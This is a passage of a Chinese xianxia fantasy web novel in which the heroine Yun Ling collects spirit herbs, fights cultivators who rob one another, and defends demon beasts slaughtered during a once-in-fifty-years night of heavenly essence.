既然来到了这个世界,她自然想一睹这个世界的辽阔。于是,她也选择了离开灰狼城。
她穿林越岭,一路寻觅无主的灵药。每当发现,便移植至灵药山。遇到妖兽守护的灵药,她则是尝试与之交换,若是妖兽不肯换,她也不强求,只得转身离去。
******
在一处幽静的潭边,几株灵药孤傲地生长着,散发着淡淡的灵气。两名男子来到此地,其中一名男子惊喜的声音划破了潭边的宁静:“辛师兄快看,是筑基草!”
被唤作辛师兄的绿袍男子眼中闪过一抹精光:“果然是筑基草!我们速速采摘,免得夜长梦多。”他的声音低沉而急切。
另一名男子点头,迈步上前,伸手欲摘那五株筑基草。突然,“咻”的一声,一道黑影破空而来。男子面色骤变,手臂尚未收回,便见黑影划过,一条手臂已然与身体分离。
“啊……”男子痛呼,青筋暴起,鲜血从断臂处涌出,如同泉涌。
“师弟!”辛明惊呼,却未上前搀扶,而是紧张地环顾四周,“是谁?暗箭伤人!”他的声音中带着一丝颤抖,三尺青锋宝剑从袖间飞出,绕身飘浮,警惕四周。
断了一臂的男子也取出一粒止血丹,抹在断臂处,血势立止。他怨毒地望向四周,一拍腰间储物袋,一只蜘蛛傀儡飞射而出,警惕地巡视周围。
然而,四周静悄悄,无人现身。两人心中不由得生出一丝不安。
辛明见状,怒道:“道友若不现身,就别怪我们无情。师弟,快让蛛傀采摘灵药,我来守备。”
断臂男子点头,往身上拍了张金刚符,单手掐诀,令蜘蛛傀儡吐丝,向筑基草缠绕而去。
就在此时,一道黑影从水中飞出,与先前的黑影极为相似。断臂男子一惊,命令傀儡攻击。蜘蛛傀儡吐丝转向,罩向飞来的黑影。
黑影速度极快,却未能逃过白丝大网,被网住,现出原形。辛明的宝剑紧随其后,斩在那物之上,发出“噹”的一声。
宝剑只在那物身上留下一道浅痕。两人望去,只见那被网的竟是一条银色鱼类妖兽,尖齿外露,凶相毕露。
“银齿鱼!”辛明惊呼,“此妖兽不是早已绝迹了吗?”
断臂男子也认了出来,急道:“世界之大,无奇不有。但这银齿鱼成群结队,师兄,我们快逃!”
话音未落,幽潭之中水花四溅,无数银齿鱼冒出头来,看得二人头皮发麻。
银齿鱼虽只是一阶妖兽,但成群出现,身体堪比法器,令修仙者闻风丧胆。
“哗啦!!……”
潭水翻涌,一只只银齿鱼破水而出,如同银梭穿波,吓得那师兄弟二人魂飞魄散,转身便逃,全无抵抗之力。
片刻之后,那些银齿鱼终究是水中的妖兽,离不得水太远,只得纷纷跳回潭中,留下潭边五株筑基草依旧安然无恙。
云灵自藏身之处悄然步出,方才一幕尽收眼底。
这银齿鱼之名,她尚是首次听闻,然连那炼气九层的修士亦对这些银齿鱼畏之如虎,可见其非同小可。
五株筑基草,云灵自是志在必得,且是无主之物,无需与之交换。
筑基草,乃筑基丹的主材,对那些难以依靠自身突破的练气修士而言,是破境的助力。
下品筑基丹,便可增加成功率二成;中品筑基但丹,能增加成功率四成;上品筑基丹,就能增加成功率七成;极品筑基丹,则能增加成功率达九成。
灵药往往伴生毒素,人修与妖兽不同,不能无视毒素,必须炼制成丹,否则毒素累积,损伤根基,进阶便成泡影。
云灵却无需顾虑,即便灵药全身是毒,对她亦无丝毫伤害,只要她愿意,她亦无需炼制成丹便能食用。
她走上前,轻巧地将五株筑基草移植至灵药山。那些凶猛的银齿鱼,对她视若无睹,更无攻击之意。
移植完毕,云灵寻了个方向,缓步而行。
她如今也不知身在何处,那日,她见众人纷纷踏入一个结界,随后消失无踪,她亦随之踏入,再睁眼时,已来到了这陌生之地。
在一处荒芜之地,草木不生,唯有无数毒虫在其间穿梭,发出令人毛骨悚然的悉索声。
三名男女修士被困其中,男的英俊潇洒,女的貌美如花,此刻却香汗淋漓,紧紧相依,面露惊恐之色。
“几位道友,能否放我们一条生路?”其中一名身着鹅黄衣衫的女修,用法绫勉强抵挡着毒虫,向外围的几名男子哀求,声音楚楚可怜,眼中泪光闪烁。
她身旁的另一名女修,甚至不惜抛媚眼,只求对方能手下留情。生死攸关之际,她们也顾不得脸面,只求保命。
那名男子见自己的道侣如此,心中虽有傲气,却也知此刻保命为先。他心中愤怒,却只能将怒火发泄在斩杀毒虫上,法器飞舞,光芒四射。
御兽宗的几人听了女修的求饶,却无动于衷,反而兴致勃勃地观赏着这一幕,不时点评几句,对女修的身姿评头论足。
时间一长,三人越发狼狈,面色苍白,灵力消耗殆尽,防御法器也岌岌可危。落败,似乎只是时间问题。
“嘿嘿,顶尖宗门的女修也不过如此。只要你们撤去防御,交出储物袋中的灵药,我们就放你们一马。”一名御兽宗男修,目光大胆地在两名女修身上扫过,一副贪婪模样。
两女修闻言,如逢大赦,连连答应。御兽宗的人嘿嘿一笑,取出一只短小的兽骨哨,吹响一段刺耳的旋律。随着哨声,毒虫如潮水般退去。
合欢宗的三人大喜,连忙撤去防御。然而,就在此时,一大蓬黑影从天而降,将他们罩在其中。紧接着,便是三人凄厉的惨叫声。
惨叫声戛然而止,虫群散去,只留下三具森森白骨,血肉已被吞噬得一干二净。
“若非此地不宜久留,倒还有心情与你们戏耍一番。”御兽宗的修士怪笑几声,拾起地上的储物袋,开始清点战利品。
这样的拼斗的事情在秘境中时有发生……
在一处幽深的谷地内,两伙修士激战正酣。一方布下简易剑阵,剑光闪烁,攻势如潮,将对方敌人逼得节节败退,狼狈不堪。
“道友快快停手,这些养颜果我们不要了!”傀儡宗的弟子们焦急喊道,他们身旁的地面上散落着损坏的傀儡,一些弟子只能依靠法器苦苦支撑,失去了傀儡的依仗。
傀儡宗弟子擅长操纵傀儡之术,以傀儡围攻战术对敌,往往占据上风。然而,此术也有致命弱点,若不能速战速决,一旦傀儡被破,他们便陷入困境,因为近战实力平平,缺乏足够的自保手段。
另一方则是天剑宗的弟子,共有十余人,结队而行,显然携带着某种联系异宝,能在秘境中相互指引。他们结成剑阵,威力倍增,远非普通联手可比,将人数众多的傀儡宗弟子打得苦苦支撑,只能求饶。
天剑宗弟子岂会轻易放过对手,剑势愈发狠辣,决心将敌人留在此地。
傀儡宗的人见状,心生退意,部分弟子见机行事,趁同伴抵挡之际,先行逃走,留下还在原地的同伴破口大骂。
局势愈发不利,傀儡宗一方在损失数名同伴后,终于溃不成军,四散逃窜。
“追!”天剑宗弟子岂肯放过这大好机会,迅速捡起地上的储物袋,采摘养颜果后,便朝着逃敌最多的方向紧追不舍。
在一座无名峰巅,两道身影激战正酣,一男一女。男子手持红羽扇,每一次挥动,便有赤色火焰如飞龙般窜出,凶猛无匹。这火焰沾物即燃,转瞬间便能将一切化为灰烬,其威力远超寻常火球术。
相对之下,女子的手段似乎平平无奇,却总能在千钧一发之际,巧妙地避开对方的猛烈攻势。男子面沉如水,红羽扇挥动得更加急促,火浪滔天,向女子席卷而去。这一次,火焰覆盖的范围扩大了数倍,似乎要将整个峰巅都卷入火海。
女子见状,轻叹一声:“与我为敌,你却是头一个。”她的眼神骤然变得冷冽,手中宝剑光芒大盛,一剑斩出,将那赤红火焰劈得四散纷飞。
男子心中一惊,这才意识到,先前女子所展现的不过是冰山一角,这才是她真正的实力。电光火石间,女子已悄无声息地来到男子身前,轻描淡写地一剑,正中
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他的心脏。
男子的身体重重倒地,要害处血如泉涌。如此重伤,他竟一时未能断气。他张了张嘴,似有千言万语,却发不出半点声音。
女子走到他身旁,居高临下地望着他,轻轻摇头:“我最不喜欢的,便是凶残之人。”言罢,女子转身离去,留下男子在地上瞪大双眼,不久便咽下了最后一口气。
******
眼前山丘连绵,却不见修行界常见的绿树成荫、草丛荆棘,而是无边无际的黑色焦土。对于云灵来说,习惯了修行界的生机勃勃,眼前景象让她心中涌起巨大的落差感。
正当云灵思绪万千之际,四面八方传来了一阵阵兽吼声,令她心神一震。她站起身来,只见几十头妖兽红着眼睛,疯狂地向她奔来:莽牛、风狼、大地熊……每一头都互相撕咬,如雷阵雨般轰隆隆地奔腾。
云灵不敢怠慢,立即运起身法,向远处避去。这些妖兽显然已失去理智,不会顾及她是否神魂纯净。
待群兽过去后,云灵翻过山丘,在与下一个山丘相连的低谷处发现了一具男修干尸。她探查尸体后,从其腰间取下储物袋。然而,储物袋内除了一件失去灵光的法器和一些衣物外,别无它物。没有灵石,没有丹药,没有灵光闪烁的宝物。法器更是脆弱不堪,轻轻一捏,便粉碎散落。
云灵撇嘴,调用凤女神火,将尸体与储物袋一并焚化。
云灵继续前行,一路躲避着发狂的妖兽。这些妖兽的异常行为,定是有人使用了狂兽粉。云灵虽然愤怒,但无解药在手,她只能选择躲避。
当又一次兽吼声从她正在上行的山丘顶上传来,云灵正准备避开,却见一个身影出现在视线中。那是一个胖脸修士,正被一头莽牛追赶。
胖脸修士全力奔跑,试图摆脱后面的妖兽。虽然妖兽有一阶顶峰的修为,与他炼气九层的修为相当,但妖兽的身体强度远超于他。好在妖兽虽然疯狂,却无理智,只要设计得当,胖脸修士或许能够摆脱追击。
他拼命奔跑,扫视四周地形。蓦地,他瞥见下方的云灵,想也不想,纵身一跃而下。
那莽牛却毫无察觉,继续直冲向前。
胖脸修士心中一喜:“终于摆脱了!”
话音未落,一道清灵的声音在他耳边响起:“你好呀!”
他转头望去,只见那位被他用作诱饵的女修,正笑盈盈地走来,身姿轻盈,步伐优美。
胖脸修士却不以为意,眼前这女子不过练气六层,而他已是练气九层,差距悬殊,他冷笑道:“怎么?你有意见?”
云灵依旧笑意盈盈:“我怎么敢呢!”
胖脸修士嗤之以鼻:“你这小小的练气六层修士,量你也不敢。快把储物袋交出来,我饶你一命。”
云灵笑道:“可以呀,只要你打得过我。现在,我们先算算账吧!”话音未落,她身形一晃,如鬼魅般出现在胖脸修士眼前。
胖脸修士大惊,急忙运起全身灵气,一拳挥向云灵。然而,他的拳头挥空,脖子却传来一阵剧痛,力量仿佛被抽离了身体。
他没想到这纤弱少女速度如此之快,下手如此狠辣。此刻,他心中才真正涌起恐惧。
胖脸修士踉跄后退,捂住脖子,想要逃跑。但云灵如影随形,一拳又一拳,每一拳都击中要害。他的还击却总是落空。
不一会儿,胖脸修士鼻青脸肿,全身疼痛难忍。
终于,他无法动弹,眼中满是恐惧,尤其是看到云灵那平静无波的眼神和嘴角的笑意时。
他惊恐地叫道:“别杀我,别杀我!”
云灵蹲下身,看着胖脸修士那写满恐惧的面孔,轻声道:“不好意思,你得死一死。”话音刚落,云灵一拳穿透他的身体。
修士生命力之顽强,让云灵体会到了。即使胖脸修士肚子被穿透,却还有一口气在。
云灵一掌拍在他的天灵盖,胖脸修士发出最后一声惨叫,终于没了动静。
云灵取下胖脸修士储物袋之后,忽觉一股被窥视之感,她迅速转头望去,只见对面山丘上一角衣摆一闪而逝。
她身法灵动,如风追月,急速追去。
53. 修行世界
不过呼吸间,一个壮硕的男修身影映入眼帘。
那男修见云灵追来,却不复逃,面色阴沉,紧握着手中棍子法器,如临大敌般戒备着。
云灵见他神色凝重,却无明显情绪波动,那凝重之态更添他脸部线条的硬朗,给人一种踏实沉静之感。
“道友好本事,如此戒备,真叫我有些心惊胆战。”云灵眯眼微笑道。
壮硕男修却不答话,只死死盯着云灵的一举一动。
他刚至山头便目睹了对面的战斗,虽未瞧见前情,却看到了结局。那胖脸修士练气九层的修为,在少女面前竟无还手之力,可见她非同小可。
云灵的身法更是令他前所未见,如鬼魅般,转瞬间便追至眼前。他不敢有丝毫大意,全神贯注,捕捉对方的每一个动作。
突然,云灵身形一动。
壮硕修士立即运起全身之力,挥棍向她扑去的方向砸下。
“砰”的一声巨响,他心中却暗叫不妙。他未能捕捉到云灵的动作,只见她身形一折,鬼魅地躲过了他的攻击。
只觉全身上下被云灵的掌风扫过,他的身体不由自主地随着对方的动作而动,无法使出半分力量。
剧痛袭来,他已瘫软在地,无法动弹。
他这才意识到,对方的实力远在他之上,让他连反抗的机会都未曾有。
云灵将那壮硕男修教训了一顿,便转身欲走。
“你不杀我?”男修躺在地上,喘息着问道。
“我观你身上罪孽不多,今日便放你一马。”云灵头也不回,声音平静。
“何为罪孽?”男修的声音中带着一丝迷茫。
“不茹荤,不妄杀,便没有罪孽。”云灵淡淡回应,身影渐渐远去,只留下壮硕男修独自沉思,无言以对。
******
一片幽静的山林深处,云灵面对着一只体型庞大如牛犊的青蛙模样妖兽,笑眯眯地说道:“嗨,蛙壮士,我这丹药换你的灵药,你换不换呀?”
那妖兽不为所动,只是静静地注视着她。
“蛙壮士,你看我这丹药灵气浓郁,绝不逊色于你守护的灵药。只需你轻轻点头,这丹药便是你的了。”云灵耐心地劝说,声音中带着一□□惑。
这妖兽守护的,是一株固颜草,是炼制固颜丹的主药,其价值在黄阶灵药中,排行前列。
“蛙壮士,你可不要不识好歹,我这丹药炼制不易,价值远胜你那灵药。说来,还是我吃了亏呢。”云灵故作吃亏之态,循循善诱。
“呱呱呱!”妖兽侧身,完全不理会云灵。
“好吧,蛙壮士,我再加一颗丹药,权当我们交个朋友。”云灵说着,掌心又多了一颗丹药。
妖兽却只是转身,用屁股对着云灵,似乎在表示它的不屑一顾。
云灵身形一晃,瞬间来到妖兽面前:“我再加一颗,算是我们相遇有缘。蛙壮士,你可要珍惜我们的友谊啊。”
妖兽瞥了一眼,再次转身,用屁股对着云灵。
云灵心中郁闷,再次闪身至妖兽面前:“讲点道理好吧?我再加一颗,已是你灵药价值的四倍。你再犹豫,可就不礼貌啦。”
“呱呱呱!”妖兽毫不犹豫,再次转身。
“好吧,我把所有丹药都给你,换你灵药。你不换我真没了。”云灵装作泄气,手中现出五颗丹药。
妖兽再次转身,直到云灵装作离去,妖兽这才急叫着,转身一跃,将云灵掌心的丹药吞下,然后转身奔向山林深处。
云灵见状,拍掌笑道:“原来你这么狡猾,要不是我装作要走,你还真不肯换。”
她用五颗下品聚灵丹换得了一株固颜草,这笔交易,对她来说,简直是一本万利。
云灵未曾想到,她与妖□□换灵药的一幕,竟被一位容颜无瑕的女修看在眼里,并悄然跟随。
移植固颜草之后后,云灵继续在山林中寻觅灵药,无主者便移植至灵药山,有主者则以丹药相换。
在修士与妖兽争斗不休的大势下,云灵却能与妖兽和谐相处,自成一格。
这一日,云灵依旧在密林深处寻找灵药,忽然听到一阵急促的脚步声,似乎有人正朝她的方向奔来。
她抬眼望去,只见一道身影慌忙逃来,身后似有追兵。
那逃命的女子一见云灵,便大声呼救:“道友救命,我是丹法宗的李小莲!”
李小莲看上去约莫二十岁,一张清秀的娃娃脸,此刻却是发髻散乱,衣衫褴褛,身上还带着斑斑血迹。
她见到云灵,如同抓住了救命稻草,急切地求救。
不一会儿,李小莲便跑到了云灵跟前,她急喘着气,泪眼朦胧:“道友救我,后面有傀儡宗的弟子,为了夺我身上的灵药,已经追了我许久,我同来的师姐也惨遭其毒手……”她的眼中闪过一丝绝望,声音中带着哭腔。
云灵见状,心生恻隐,便将李小莲护在身后,目光如电,紧紧盯着前方。
不多时,一道修长的身影映入眼帘,来者俊美非凡,气度从容,仿佛闲庭信步。
那男子见到云灵,眼中闪过一抹光芒,微微一笑,道:“在下傀儡宗弟子白术,见过道友。不知阁下为何要庇护这名丹法宗的女子?若阁下能将她交给我,白某定会感激不尽。”
他观察到二女服饰不同,显然并非同门,心中暗自思忖,这少女未必多管闲事。
云灵冷冷一笑,道:“我乃一介散修,不知这位道友何处得罪了你,竟遭你如此追杀。即便是为了灵药,也不至于如此赶尽杀绝吧!”
白术的笑容顿时凝固,眼中闪过一丝杀气:“好,很好,又来一个送死的。先前此女与同门趁我对付妖兽时,夺走了我看中的清心果。这笔账,岂能轻易算了?若你们现在将清心果交出,我或许还能留你们一具全尸。”
语毕,他袖袍一挥,三团圆滚滚的物体从袖中滚出,落地后光芒大盛,瞬间变成了三只丈许高的巨猿。
这三只巨猿形态逼真,几可乱真,但双目无神,显然乃傀儡宗弟子精心炼制的傀儡,非血肉之躯。
云灵闻言,侧目望向身旁的李小莲。李小莲见她目光投来,脸色微变,露出一丝心虚之色,张口欲言。
“道友我...” 她话音刚起。
云灵却未予多听,神色沉凝,望向白术,道:“若我让她将那清心果归还给道友,不知可否就此罢手,不再追究?”
李小莲身躯一震,下意识捂住储物袋,眼中闪过一抹不舍。
白术却冷笑连连:“痴人说梦,现在才想求饶,岂不太晚?只要取了你们性命,何愁宝物不归我手?”他上下打量着云灵,发出意味深长的笑声,似是胜券在握。
随即,他一挥手,三只巨猿傀儡立时动了起来,向云灵发起攻击。
云灵知晓,今日之事难以善了。面对傀儡的攻势,她身法启动,如鬼魅般穿梭其间,拳掌连绵不绝,击打在傀儡身上。
白术操纵着巨猿傀儡,从三个方向合围而上,却连云灵的衣角也未能触及。她的身法之奇幻,令白术心中骇然。
这些傀儡全身坚硬如铁,云灵的拳掌落在它们身上,却是毫发无损。
云灵与傀儡缠斗,虽然能够将它们击退,但傀儡不知疼痛,仍旧不断上前,如同不死的战神。
李小莲则祭出一柄钗形法器,试图为云灵分担压力。
然而,她的法器质地平庸,在傀儡身上难以造成有效伤害。
白术控制着三具傀儡,灵力消耗却不算太大。这些傀儡体内嵌有灵石,正是这些灵石为它们提供了动力。
在三具猿形傀儡的围攻之下,云灵心中却在飞速盘算,思索着如何迅速破局。
她尚能分心思考,但身旁的李小莲却已是渐渐不支,脸色苍白如纸,显露出灵力耗尽之相。
忽然,趁着一个傀儡被云灵震退之际,李小莲一咬牙,从怀中摸出一张轻身符,拍在身上,身形立刻变得轻盈,她不顾一切地向外围奔去。
竟是在关键时刻,抛下云灵,选择了临阵脱逃。
“想逃?清心果留下!”白术眼中精光一闪,他等待的便是这个机会,立即指挥一只傀儡,如风般朝李小莲追去。
那巨猿傀儡速度惊人,几个起落便要追上李小莲,但云灵更快,她身形一晃,已至那傀儡身前,一掌拍出,将其震退,阻断了它的追击之路。
白术冷冷一笑,声音中带着几分讥讽:“你可知那丹法宗弟子,先前教唆同门抢夺我的灵药,之后又背信弃义,导致她师姐惨死。如今,她再次出卖了你,你却仍想助她脱困。你这样的盲目好心,岂能
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指望她会真心领情?”
云灵心中一震,念头如电光火石般飞转:难道自己真心助人,却误信了奸诈之徒?她见白术面带嘲讽,却迅速收拾心情,心神专注,面对眼前的三个傀儡。
妖兽与人皆知疼痛,这三个猿形傀儡虽无痛感,躯体坚如磐石,必有其弱点。
云灵眼中精光一闪,她已了然于胸:傀儡的要害一是关节,二是灵石驱动槽。傀儡若无灵石,便不过是一堆死物。
云灵身形一晃,如鬼魅般出现在傀儡之前,逆着傀儡关节一一折扭。
不过数息之间,三个傀儡的关节已被扭断,轰然倒地,再也无法站起。
白术见状,面色大变,急忙取出一件圆珠型法器,想要祭出。
但云灵的身法更快,如影随形,一掌拍在白术的天灵盖上。
白术双目圆睁,满脸惊恐,最终死不瞑目,倒地不起。
云灵取了白术腰间的储物袋,没有片刻停留,立即运起身法,朝着李小莲逃走的方向追去。
不久,她的身影再次出现,却已放弃了追击。
原本她打算追上李小莲,一掌毙了她。不是因为李小莲背叛了她,而是根据白术所言,李小莲先是唆使同门抢夺白术的灵药,此为一错;再是危急时刻,为了自保,不惜牺牲师姐独自逃生,此为错上加错。
云灵轻叹一声,心中浮现李小莲那张无辜的娃娃脸,终究是心生怜惜,决定放她一马。
密林深处,一位容颜无瑕的女子轻声暗嘲:“善心滥发。”
******
“轰隆隆!!”远处一座山峰突然传来震耳欲聋的响动,伴随着刺眼的火光,惊得四周鸟兽四散逃窜。
显然,又有修士或妖兽在激烈争斗。
云灵眉头微蹙,却并未停下脚步。
山顶上,一群十余人的修士正联手围攻一只体形巨大的妖兽。
这只妖兽是一只毛发雪白的狐狸,它喷吐出的寒气竟能将飞来的法器冻成冰块。
这分明是一只一阶圆满的妖兽,面对众多修士的围攻,竟然还略占上风。
这十几名修士全是火法宗的弟子,擅长火系法术。他们纪律严明,施展法术井然有序,丝毫不显杂乱。
“火盾术!”面对妖兽吐出的数十道冰锥,他们齐声喝道,施放出相同的火盾术,在身前形成一道巨大的火焰盾牌。
火系法术以攻击力著称,防御却略显不足。
然而,这火盾并非死守,而是主动迎击,与冰锥撞击在一起。每一次撞击,火盾上的火光便暗淡一分。
待冰锥射完,火盾也随之化为点点火星,消散在空中。
双方激战正酣,一道红色身影悄然来到战场边缘,隐没在一块巨石之后。
来者正是从山下赶来的云灵,她的目光落在妖兽身后不远处的一个洞穴上,阴冷的气息从洞中透出,显然这是妖兽的栖息之地。
洞口处,生长着一棵火红枝干的小树,树上结着十颗小巧的火红色果子,显得格外诱人。
云灵的目光落在那棵小树上,内心不由惊呼:“凤灵果。”
人类依赖灵根修炼,灵根的纯度决定了修士的资质。灵根纯度七成以上者,已可称为天之骄子;九成纯度之人,世间罕见;至于天灵体,更是万年难遇。
据《神祇宝典》记载,任何真实世界的人类都仅拥有一种灵根,那些小说中描述的多灵根之人,在现实中根本不存在。
凤灵果,乃是传说中的灵药,无论食用者有无灵根,都能蜕变为凤灵体,这是一种远超天灵体的资质,世间更为罕见。
显然,这凤灵果正是那妖兽狐狸所守护的宝物,已有其主。
这些火法宗的弟子围攻妖兽狐狸,恐怕也是为了这凤灵果。这种传说中的灵药,一旦为人所知,必将引起无数人的觊觎和争夺。
云灵面对这有主的灵药,心中明白不能擅自取之。但那狐狸与人类修士激战正酣,她略一沉吟,便将凤灵树整棵移植入云霞世界。
随后,她呼唤云霞依照凤灵树与凤灵果的模样,演化万棵,并且每棵长有百枚果子,这才将原来的凤灵树重新移植出来。
云灵此举虽未给狐狸造成损失,但毕竟未经同意,触逆了神祇理念。
因此,她必须补偿。
54. 修行世界
战场上,狐狸已冲入人群,左扑右咬,瞬间有几名修士命丧其口。
火法宗的弟子亦非等闲,反击之下,在狐狸身上留下道道烧焦的痕迹。
“啊!师兄救我...”一名男子被狐狸咬住,拼命呼救,却话音未落,便惨遭两断,被狐狸嚼了几口后,吞入肚中。
“孽畜!找死!”人群中传来一声怒喝。随即,一名男子手持芭蕉扇,身上火气腾腾,飞身而出。
他猛力一挥,芭蕉扇上冒出红白分明的二色火焰,汹涌澎湃地向狐狸袭去。
这二色火焰非同小可,温度之高,令人生畏,所过之处,遇物皆焚。
其他弟子见此火焰,脸上露出既惊惧又激动的神色,纷纷后退。
那狐狸亦感到凝重,身为妖兽,它的直觉更为敏锐,本能地感应到这火焰的恐怖,急忙向旁跃去,同时身上寒气大盛,抵挡着高温的侵蚀。
那男子挥动芭蕉扇,扇动间,红白火焰如离弦之箭,疾射向狐狸。
狐狸虽连蹦带跳,企图躲避,但终究快不过这火焰。眼看它就要陷入绝境。
就在此时,“咻咻咻!”百道紫金光芒破空而来,如有灵智,绕过狐狸,直指火法宗的弟子。
那些弟子尚未反应过来,便已被紫金光芒击中,消散无踪。
本应命丧火海的狐狸,目睹这一幕,心中惊疑不定。
出手之人,正是云灵。
她同时调用神力与凤女神火,两者结合的威力,连她自己也暗自惊讶。
云灵缓步上前,带着几分炫耀:“怎样?我的实力还不错吧?”
狐狸暗自翻了个白眼,转身回返洞府,查看她守护的宝贝。
云灵紧随其后,显化两千颗聚灵丹,诚恳地道:“这些丹药,作为我先前探究你宝贝果子的补偿,可以吗?”
狐狸见果子和果树都安然无恙,又瞧瞧这些丹药,不明所以。
“狐狸,这是我真心实意的补偿。”云灵的语气中透露出真诚。
狐狸一看有这好事,不要白不要,一口便将那些丹药吞下。
然而,丹药太多,它的肚子微微鼓起,似乎有些承受不住。
云灵见状,连忙调用神力,帮助狐狸化解药力,并顺便治疗了它的内外伤。
狐狸见自身不仅伤势尽愈,连先前被烧焦的毛发也重新生长,变得比以往更加雪白亮丽,修为更是突破至二阶妖兽,不由得兴奋地叫了几声。
“狐狸,你这宝贝非同小可,若非我今日在此,恐怕你已遭不测。日后若再有人觊觎,你又当如何应对?”
“不如你将这果子吃一颗,剩下的果子连同果树都交给我,这样你便无后顾之忧了。”暮云真诚提议,她并非贪婪狐狸的宝物,毕竟她已拥有同样的异果。
狐狸沉思片刻,便点了点头,随即一口吞下了一颗凤灵果。
这凤灵果虽神奇,却也只能吃一颗,第二颗再无增益。
狐狸吃下果子后,用爪子指了指云灵,再指了指果树,随后转身进入洞府,不再作陪云灵。
凤灵果的药力即将发作,狐狸将经受天翻地覆慨而慷的蜕变,现在没空理会儿云灵。
云灵将凤灵果树移植到灵药山后,就在洞府外守护着,以防不测。
五日后,狐狸蜕变完成,云灵这才告辞离开。
临行前,她留下了三千颗丹药,作为对狐狸的赠礼。
此时的云灵身上已无丹药,她便寻了个山,决定修炼,不再找寻灵药。
******
二十日后的一个深夜,群山深处,一座高峰之巅,一道身影静静盘膝而坐。
这盘膝而坐的人,正是云灵。
这二十天来,她一直在此地修炼,心无旁骛,未曾动弹分毫。
明月缓缓从云层中探出头来,云灵注意到,今夜的月光格外明亮,仿佛比往常更加圆润。
忽然,一片乌云飘来,不偏不倚地遮住了明月。
就在此时,山脉中的妖兽似乎受到了影响,纷纷发出低沉的吼叫,连绵不绝的叫声在夜空中回荡,让云灵升起一丝疑惑。
就在妖兽们的吼叫声此起彼伏之时,天空中出现了一只巨大的爪子,仿佛能遮蔽天空。
那爪子轻轻一挥,便将乌云抓得粉碎,明月再次显露出来。
明月重现天际,妖兽们的吼叫声也戛然而止,四周顿时陷入一片寂静。
云灵心中骇然,神祇真眼观瞧下,那挥散乌云的爪子,竟蕴含着神灵境的修为。
在这个修行世界,修士们的修为最高只能达到化神圆满。一旦超越化神期,便会飞升至更高世界,无法再留在这个世界。
而这只爪子所展现的力量,至少比化神期高出五个大境界。
就在明月显露之时,天际垂落无数金丝,如同天幕的织锦,洒满了这片天地。
一道金丝轻轻落在云灵的掌心,她立刻感应到,这股力量竟蕴含着开启生灵灵智、增进修为体魄的神奇功效。
云灵蓦然想起,在灰狼城时无意中听到的传说。
传说中,上界的大妖怜悯下界生灵修行的艰辛,每五十年降下帝浆,开启生灵灵智,提升它们的修为体魄。
她注意到,山脉中的妖兽都在吐出自己的妖丹,将天降的帝浆汇聚,以此淬炼自身。
不仅是妖兽,就连无数的凡兽也在吸取着帝浆。它们没有妖丹,却也仰首向天,享受着这份恩惠。
云灵见此,心中不禁忧虑起来。
妖兽吐出内丹本是极危险之事,内丹乃性命交修的所在,一旦有所损伤,后果将不堪设想。
今夜正是五十年一度的帝流浆之夜,虽然帝流浆对修士无用,但并不意味着不会有修士觊觎。
万兽吐丹之夜,定会吸引不少心怀不轨的修士。
……
黑夜之中,几道身影在山巅上低声交谈。
“大哥,我们是否趁机出手?”其中一人问道。
“机不可失,我觉得应该出手。”另一个人说道。
领头的男子沉思片刻,一言定语道:“自然要动手,万兽吐丹,正是我们机会!”言罢,他带领众人朝一座山头飞去。
与此同时,秘境中的修士似乎都觉察到了什么,纷纷出动。趁妖兽沉浸在帝浆带来的机缘中无暇它顾之时,一一斩杀。
金丝如雨,万山之间闪烁着无数内丹,如同群星点缀,构成了一幅美不胜收的画卷。
然而,在这美景背后,却隐藏着一幕幕恐怖的画面。
妖兽们在绝望中被无情灭杀,不仅身躯遭到哄抢,连内丹和守护的灵药也未能幸免,被修士们掠夺一空。
云灵耳畔不时传来妖兽的悲鸣,那是它们临终前的绝望之声。
放眼望去,四处光芒闪烁,显然是修士们施展的术法所致。
云灵心中涌起悲悯。
妖兽亦是天地间的生灵,同样有资格追寻长生,如今,却在遭受无情的屠戮。
她无法再静心修炼,耳中尽是妖兽的悲鸣。
云灵身法一展,瞬间消失在原地,她要去阻止这场虐杀。
降下帝浆的强者亦有怜悯之心,而修士们在修炼之途,却以诛杀妖兽、掠夺灵药为手段,不作善德,不思共赢之道,以致杀戮成大势。
秘境之中,杀戮四起,一片腥风血雨。
“哈哈哈!得了这些妖兽之躯,筑基何难?”一个修士狂笑道。
“帝浆虽好,却让这些妖兽沉迷其中,无法自拔。对我们而言,它虽无用,却也成就我们修炼之路。”另一人洋洋得意道。
“诸位,妖兽霸占灵药,却忘了灵药乃天地所生,我们修士才是其真正的主人。斩妖除魔,本就是我们的职责。”又一人高声说道。
“说得好!”众人齐声附和。
“快走快走!这里的妖兽已尽,我的储物袋都快装不下了。下一个地点,还有更多妖兽和灵药等着我们!”
一人带头,一群人欢喝着准备向下一个地点进发。
就在此时,黑暗中数道紫金光芒突现,向他们疾射而来。
“啊!”他们连反抗的机会都没有,便被光芒击中,只来得及发出一声惨叫,就消失得无影无踪。
出手的,正是云灵。
她的身法运转到极致,只要见到修士趁机杀害妖兽,她便毫不留情地出手。
作恶作孽的生灵,不配得到神祇的怜爱。
今夜,云灵的杀意已至顶峰。
在她手中丧命的修士,已数不胜数。
她从一个地方转移到另一个地方,只想阻止这场无休止的杀戮。
面对这些身怀罪孽的修士,她以杀止杀,以暴制暴。
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奔波多时,云灵的神力虽然源源不绝,却也难以独自阻止这场修士的屠杀。
她的心神已疲惫至极,但她依然坚持着,尽自己所能去阻挡这场灾难。
就在她再次出手诛杀一批趁机作孽的修士之后,云灵突感一阵晕眩,身体一晃,眼前一黑,终于不支倒地。
心神的极度疲惫,如同潮水般涌来,让她再也无法支撑,无法继续阻止这场杀戮……
……
天色破晓,帝流浆的奇景终于落幕,一夜的混乱也随之平息。
整整一夜,无数妖兽惨遭屠戮,化作了修士们修炼的资源。
也有无尽凡兽在帝流浆的洗礼下开启了灵智,得到了血脉的传承,踏上了修炼之路。
更有一些妖兽借此机缘,修为大进,体魄变得更加强悍。
一夜的杀戮过后,修士们见到妖兽从沉醉中苏醒,便纷纷收手,带着兴奋和满足的神情,准备寻找安全之地清点战利品。
“吼!”一声愤怒的兽吼突然响起,紧接着是连绵不绝的怒吼声,震撼着整个秘境。
“怎么回事?”一名男修惊骇地问道。
天剑宗的数十名弟子,经过一夜的杀戮,正准备离开杀戮之地,却被这突如其来的兽吼声惊动。
“师兄,这些妖兽不会是想报复我们吧?”一位男修恐惧地问道。
领头的天剑宗弟子满脸不屑:“怎么可能?妖兽各有领地,除非是天生群居的妖兽,否则它们向来独来独往,不可能合作。”
